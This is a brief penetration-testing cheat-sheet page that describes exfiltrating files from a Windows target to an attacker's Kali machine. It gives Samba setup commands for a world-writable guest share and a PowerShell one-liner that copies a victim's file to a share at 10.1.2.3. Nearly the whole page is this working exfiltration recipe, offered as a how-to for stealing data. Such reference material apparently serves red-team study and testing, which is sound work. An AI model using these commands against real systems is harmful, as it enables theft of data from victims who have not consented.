Skip to content

Exfiltration using powershell and samba(Linux) #

On Kali #

Upload a file to the victim's host1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb

#Add to the end of /etc/samba/smb.conf this:
[public]
    comment = Samba on Ubuntu
    path = /tmp/smb
    read only = no
    browsable = yes
    guest ok = Yes


#Start samba
service smbd restart

On the target machine #

1
start powershell -c "Copy-Item -Path 'C:\<path>\file.txt>' -Destination '\\10.1.2.3\public\'"

Last update: January 22, 2021